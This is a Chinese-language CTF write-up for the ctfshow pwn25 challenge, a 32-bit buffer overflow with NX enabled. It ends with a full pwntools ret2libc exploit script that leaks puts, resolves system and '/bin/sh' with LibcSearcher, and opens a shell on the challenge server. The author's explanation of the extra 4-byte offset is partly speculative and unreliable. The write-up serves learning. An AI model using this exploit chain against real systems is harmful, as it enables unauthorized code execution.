文章简述

主要探究了问题中偏移量与自己知识中的偏移量不同的原因。

介绍了一种确定偏移量的方法。

正文

对程序进行反编译并找到思路

exeinfope

使用exeinfope查看程序,发现是elf32位程序。

ida

打开ida进行反编译。

1
2
3
4
5
6
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

发现ctfshow函数中有典型的输入溢出风险。

checksec

使用checksec工具查看elf文件信息:

checksec结果

发现打开了NX,不能执行数据段,于是想到ret2libc。

确定偏移量

疑惑的开始

我先行查看了别人的wp
发现其确定的$offset$是$140$,但是根据我之前的学习(有关栈溢出的知乎文章),我认为的$offset$应该为$136(132(buf)+4(ebp))$

使用工具cyclic初步确定偏移量

使用工具cyclic是借鉴了另一篇wp

cyclic是pwngdb内的工具。

使用效果如图

使用cyclic

使用cyclic

使用cyclic

发现$offset$确为$140$

查明原因

对程序进行gdb调试。
如图(此处是ctfshow()函数调用read()函数的时候,与main()调用ctfshow()同理)

gdb

  • 可能性一:多的那$4$的$offset$是用来存储.got.plt的偏移量。此处偏移量为$0$是因为主函数不同于其他部分,在编译时其.got.plt表和.plt表都已经重定向到了具体位置,不需要再延迟重定向,但仍需要给出偏移量,所以此处偏移量为$0$。(根据知乎大佬的文章
  • 可能性二:(更有可能的是)作为返回值存储的地方。

我觉得可能性二更有可能,因为在IDA伪代码中改函数有返回值,且反汇编中最后一步在栈帧即将弹出之前有一步将这个位置的值赋给了寄存器ebx。

构造payload

思路

使用pwntools和libcsearcher两个模块给出payload脚本。

思路:先利用ret2libc的思路,转到puts函数输出puts自己的地址,利用puts的地址确定libc动态库版本。
再直接调出system()和”/bin/sh”的地址再进行一次ret2libc拿到shell。

思路中必须弄明白的地方

  1. 其实两次ret2libc都是在同一个进程内进行的,也必须在一个进程中进行。
  2. 因为Linux一般默认开着ASLR。程序重新启动后动态库的地址会重新随机一次,导致前面获得的puts函数的实际地址无意义。

所以我们进行了设计:

我们应该构造的payload样式

为什么我们这么设计payload?

帧栈分布

我们通过构造payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)这样的payload来实现多次进入main函数从而多次输入多次溢出的目的。

而且,从这部分引用的第二篇博客(腾讯云的),其中的题目不是先调用ctfshow()这样的函数,第二次的offset甚至和第一次还不一样,这题还算比较基础。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28216")

offset = 140

elf = ELF('./pwn25')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

puts_addr = u32(p.recv()[0:4])

print(hex(puts_addr))

libc_v = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc_v.dump('puts')
system_addr = libc_base + libc_v.dump('system')
binsh_addr = libc_base + libc_v.dump('str_bin_sh')

payload = offset * b'a' + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload)

p.interactive()